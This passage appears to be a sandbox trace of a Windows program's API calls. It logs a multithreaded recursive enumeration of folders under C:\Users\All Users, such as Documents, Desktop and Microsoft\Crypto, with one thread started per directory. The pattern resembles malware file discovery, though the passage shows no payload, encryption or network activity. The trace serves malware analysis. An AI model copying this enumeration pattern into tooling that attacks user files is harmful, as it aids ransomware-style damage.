_Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\") returned="C:\\Users\\All Users\\Adobe\\" [0065.665] wcscat (in: _Dest=0x44c168, _Source="ARM" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM") returned="C:\\Users\\All Users\\Adobe\\ARM" [0065.666] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44c168, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15d8 [0065.667] FindNextFileW (in: hFindFile=0x4404e0, lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 0 [0065.667] FindClose (in: hFindFile=0x4404e0 | out: hFindFile=0x4404e0) returned 1 [0065.667] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42eb90) returned 1 [0065.667] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440960) returned 1 [0065.667] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409be8) returned 1 Thread: id = 686 os_tid = 0xc80 [0051.023] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x4144c0 [0051.023] wcscpy (in: _Dest=0x4144c0, _Source="C:\\Users\\All Users\\Application Data" | out: _Dest="C:\\Users\\All Users\\Application Data") returned="C:\\Users\\All Users\\Application Data" [0051.023] wcscat (in: _Dest=0x4144c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Application Data\\") returned="C:\\Users\\All Users\\Application Data\\" [0051.023] wcscat (in: _Dest=0x4144c0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Application Data\\*") returned="C:\\Users\\All Users\\Application Data\\*" [0051.023] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42e928 [0051.023] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Application Data\\*", lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0051.023] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42e928) returned 1 [0051.023] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4144c0) returned 1 [0051.023] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444e10) returned 1 Thread: id = 687 os_tid = 0x9f0 [0051.024] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3a) returned 0x44be08 [0051.024] wcscpy (in: _Dest=0x44be08, _Source="C:\\Users\\All Users\\Desktop" | out: _Dest="C:\\Users\\All Users\\Desktop") returned="C:\\Users\\All Users\\Desktop" [0051.024] wcscat (in: _Dest=0x44be08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Desktop\\") returned="C:\\Users\\All Users\\Desktop\\" [0051.024] wcscat (in: _Dest=0x44be08, _Source="*" | out: _Dest="C:\\Users\\All Users\\Desktop\\*") returned="C:\\Users\\All Users\\Desktop\\*" [0051.024] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42e928 [0051.024] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Desktop\\*", lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0051.024] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42e928) returned 1 [0051.024] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44be08) returned 1 [0051.024] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409f68) returned 1 Thread: id = 688 os_tid = 0xa14 [0051.025] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3e) returned 0x44be08 [0051.025] wcscpy (in: _Dest=0x44be08, _Source="C:\\Users\\All Users\\Documents" | out: _Dest="C:\\Users\\All Users\\Documents") returned="C:\\Users\\All Users\\Documents" [0051.025] wcscat (in: _Dest=0x44be08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Documents\\") returned="C:\\Users\\All Users\\Documents\\" [0051.025] wcscat (in: _Dest=0x44be08, _Source="*" | out: _Dest="C:\\Users\\All Users\\Documents\\*") returned="C:\\Users\\All Users\\Documents\\*" [0051.025] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42e928 [0051.025] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Documents\\*", lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0051.025] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42e928) returned 1 [0051.025] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44be08) returned 1 [0051.026] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402528) returned 1 Thread: id = 689 os_tid = 0xc84 [0051.026] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3e) returned 0x402528 [0051.026] wcscpy (in: _Dest=0x402528, _Source="C:\\Users\\All Users\\Favorites" | out: _Dest="C:\\Users\\All Users\\Favorites") returned="C:\\Users\\All Users\\Favorites" [0051.026] wcscat (in: _Dest=0x402528, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Favorites\\") returned="C:\\Users\\All Users\\Favorites\\" [0051.026] wcscat (in: _Dest=0x402528, _Source="*" | out: _Dest="C:\\Users\\All Users\\Favorites\\*") returned="C:\\Users\\All Users\\Favorites\\*" [0051.026] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42e928 [0051.026] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Favorites\\*", lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0051.027] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42e928) returned 1 [0051.027] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402528) returned 1 [0051.027] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402570) returned 1 Thread: id = 690 os_tid = 0x8f8 [0051.027] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3e) returned 0x402570 [0051.028] wcscpy (in: _Dest=0x402570, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0051.028] wcscat (in: _Dest=0x402570, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0051.028] wcscat (in: _Dest=0x402570, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\*") returned="C:\\Users\\All Users\\Microsoft\\*" [0051.028] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42e928 [0051.028] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\*", lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409f68 [0051.028] wcscmp (_String1=".", _String2=".") returned 0 [0051.028] FindNextFileW (in: hFindFile=0x409f68, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.028] wcscmp (_String1="..", _String2=".") returned 1 [0051.028] wcscmp (_String1="..", _String2="..") returned 0 [0051.028] FindNextFileW (in: hFindFile=0x409f68, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assistance", cAlternateFileName="ASSIST~1")) returned 1 [0051.028] wcscmp (_String1="Assistance", _String2=".") returned 1 [0051.028] wcscmp (_String1="Assistance", _String2="..") returned 1 [0051.028] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x50) returned 0x4144c0 [0051.028] wcscpy (in: _Dest=0x4144c0, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0051.028] wcscat (in: _Dest=0x4144c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0051.028] wcscat (in: _Dest=0x4144c0, _Source="Assistance" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Assistance") returned="C:\\Users\\All Users\\Microsoft\\Assistance" [0065.950] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4144c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd38 [0065.951] FindNextFileW (in: hFindFile=0x409f68, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0065.951] wcscmp (_String1="Crypto", _String2=".") returned 1 [0065.951] wcscmp (_String1="Crypto", _String2="..") returned 1 [0065.951] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x48) returned 0x444ff0 [0065.951] wcscpy (in: _Dest=0x444ff0, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0065.951] wcscat (in: _Dest=0x444ff0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0065.951] wcscat (in: _Dest=0x444ff0, _Source="Crypto" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto") returned="C:\\Users\\All Users\\Microsoft\\Crypto" [0065.951] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x444ff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x173c [0065.952] FindNextFileW (in: hFindFile=0x409f68, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1 [0065.952] wcscmp (_String1="Device Stage", _String2=".") returned 1 [0065.952] wcscmp (_String1="Device Stage", _String2="..") returned 1 [0065.952] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x54) returned 0x44aaf0 [0065.953] wcscpy (in: _Dest=0x44aaf0, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0065.953] wcscat (in: _Dest=0x44aaf0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0065.953] wcscat (in: _Dest=0x44aaf0, _Source="Device Stage" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage") returned="C:\\Users\\All Users\\Microsoft\\Device Stage" [0065.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44aaf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1740 [0065.954] FindNextFileW (in: hFindFile=0x409f68, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1 [0065.954] wcscmp (_String1="DeviceSync", _String2=".") returned 1 [0065.954] wcscmp (_String1="DeviceSync", _String2="..") returned 1 [0065.954] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x50) returned 0x414048 [0065.954] wcscpy (in: _Dest=0x414048, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0065.954] wcscat (in: _Dest=0x414048, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0065.954] wcscat (in: _Dest=0x414048, _Source="DeviceSync" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DeviceSync") returned="C:\\Users\\All Users\\Microsoft\\DeviceSync" [0065.954] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x414048, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1744 [0065.955] FindNextFileW (in: hFindFile=0x409f68, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1 [0065.955] wcscmp (_String1="DRM", _String2=".") returned 1 [0065.955] wcscmp (_String1="DRM", _String2="..") returned 1 [0065.955] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x42) returned 0x444d20 [0065.955] wcscpy (in: _Dest=0x444d20, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0065.955] wcscat (in: _Dest=0x444d20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0065.955] wcscat (in: _Dest=0x444d20, _Source="DRM" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM") returned="C:\\Users\\All Users\\Microsoft\\DRM" [0065.955] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x444d20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1748 [0065.956] FindNextFileW (in: hFindFile=0x409f68, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eHome", cAlternateFileName="")) returned 1 [0065.956] wcscmp (_String1="eHome", _String2=".") returned 1 [0065.956] wcscmp (_String1="eHome", _String2="..") returned 1 [0065.956] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x46) returned 0x444b40 [0065.956] wcscpy (in: _Dest=0x444b40, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0065.957] wcscat (in: _Dest=0x444b40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0065.957] wcscat (in: _Dest=0x444b40, _Source="eHome" | out: _Dest="C:\\Users\\All Users\\Microsoft\\eHome") returned="C:\\Users\\All Users\\Microsoft\\eHome" [0065.957] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x444b40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x174c [0065.958] FindNextFileW (in: hFindFile=0x409f68, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3a6c7630, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x3a6c7630, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1 [0065.958] wcscmp (_String1="Event Viewer", _String2=".") returned 1 [0065.958] wcscmp (_String1="Event Viewer", _String2="..") returned 1 [0065.958] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x54) returned 0x44a1f0 [0065.958] wcscpy (in: _Dest=0x44a1f0, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0065.958] wcscat (in: _Dest=0x44a1f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0065.958] wcscat (in: _Dest=0x44a1f0, _Source="Event Viewer" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer" [0065.958] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44a1f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1750 [0065.959] FindNextFileW (in: hFindFile=0x409f68, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1 [0065.959] wcscmp (_String1="IdentityCRL", _String2=".") returned 1 [0065.959] wcscmp (_String1="IdentityCRL", _String2="..") returned 1 [0065.959] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x52) returned 0x44a7f0 [0065.960] wcscpy (in: _Dest=0x44a7f0, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0065.960] wcscat (in: _Dest=0x44a7f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0065.960] wcscat (in: _Dest=0x44a7f0, _Source="IdentityCRL" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL" [0065.960] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44a7f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1754 [0065.972] FindNextFileW (in: hFindFile=0x409f68, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3ee349fc, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3ee349fc, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1 [0065.972] wcscmp (_String1="Media Player", _String2=".") returned 1 [0065.972] wcscmp (_String1="Media Player", _String2="..") returned 1 [0065.972] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x54) returned 0x44a370 [0065.972] wcscpy (in: _Dest=0x44a370, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0065.972] wcscat (in: _Dest=0x44a370, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0065.972] wcscat (in: _Dest=0x44a370, _Source="Media Player" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Media Player") returned="C:\\Users\\All Users\\Microsoft\\Media Player" [0065.972] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a370) returned 1 [0065.972] FindNextFileW (in: hFindFile=0x409f68, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MF", cAlternateFileName="")) returned 1 [0065.972] wcscmp (_String1="MF", _String2=".") returned 1 [0065.972] wcscmp (_String1="MF", _String2="..") returned 1 [0065.972] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402840 [0065.972] wcscpy (in: _Dest=0x402840, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0065.972] wcscat (in: _Dest=0x402840, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0065.972] wcscat (in: _Dest=0x402840, _Source="MF" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF") returned="C:\\Users\\All Users\\Microsoft\\MF" [0065.972] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x402840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1758 [0065.973] FindNextFileW (in: hFindFile=0x409f68, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSDN", cAlternateFileName="")) returned 1 [0065.973] wcscmp (_String1="MSDN", _String2=".") returned 1 [0065.973] wcscmp (_String1="MSDN", _String2="..") returned 1 [0065.974] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x44) returned 0x444b90 [0065.974] wcscpy (in: _Dest=0x444b90, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0065.974] wcscat (in: _Dest=0x444b90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0065.974] wcscat (in: _Dest=0x444b90, _Source="MSDN" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MSDN") returned="C:\\Users\\All Users\\Microsoft\\MSDN" [0065.974] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x444b90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x175c [0065.975] FindNextFileW (in: hFindFile=0x409f68, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1 [0065.975] wcscmp (_String1="NetFramework", _String2=".") returned 1 [0065.975] wcscmp (_String1="NetFramework", _String2="..") returned 1 [0065.975] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x54) returned 0x44a370 [0065.975] wcscpy (in: _Dest=0x44a370, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0065.975] wcscat (in: _Dest=0x44a370, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0065.975] wcscat (in: _Dest=0x44a370, _Source="NetFramework" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework") 